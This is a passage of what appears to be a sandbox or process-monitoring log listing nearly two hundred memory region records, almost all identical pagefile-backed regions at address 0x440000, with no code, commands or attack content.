1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2243 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2244 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2245 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2246 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2247 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2248 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2249 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2250 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2251 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2252 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2253 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2254 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2255 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2256 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2257 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2258 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2259 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2260 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2261 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2262 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2263 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2264 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2265 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2266 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2267 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2268 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2269 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2270 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2271 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2272 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2273 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2274 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2275 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2276 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2277 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2278 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2279 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2280 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2281 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2282 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2283 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2284 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2285 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2286 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2287 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2288 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2289 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2290 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2291 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2292 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2293 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2294 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2295 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2296 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2297 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2298 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2299 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2300 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2301 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2302 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2303 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2304 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2305 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2306 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2307 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2308 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2309 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2310 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2311 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2312 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2313 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2314 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2315 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2316 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2317 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2318 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2319 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2320 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2321 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2322 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2323 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2324 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2325 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2326 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2327 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2328 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2329 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2330 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2331 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2332 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2333 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2334 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2335 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2336 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2337 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2338 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2339 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2340 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2341 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2342 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2343 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2344 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2345 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2346 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2347 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2348 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2349 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2350 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2351 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2352 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2353 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2354 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 2355 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2356 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2357 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2358 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2359 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2360 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2361 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2362 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2363 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2364 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2365 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2366 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2367 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2368 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2369 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2370 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2371 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2372 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2373 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2374 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2375 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2376 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2377 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2378 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2379 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2380 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2381 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2382 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2383 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2384 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2385 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2386 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2387 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2388 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2389 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2390 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2391 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2392 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2393 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2394 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2395 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2396 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2397 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2398 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2399 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2400 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2401 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2402 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2403 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2404 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2405 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2406 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2407 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2408 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2409 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2410 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2411 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2412 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2413 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2414 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2415 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2416 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2417 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2418 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2419 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2420 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2421 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2422 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2423 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2424 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2425 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2426 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2427 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2428 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2429 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2430 start_va 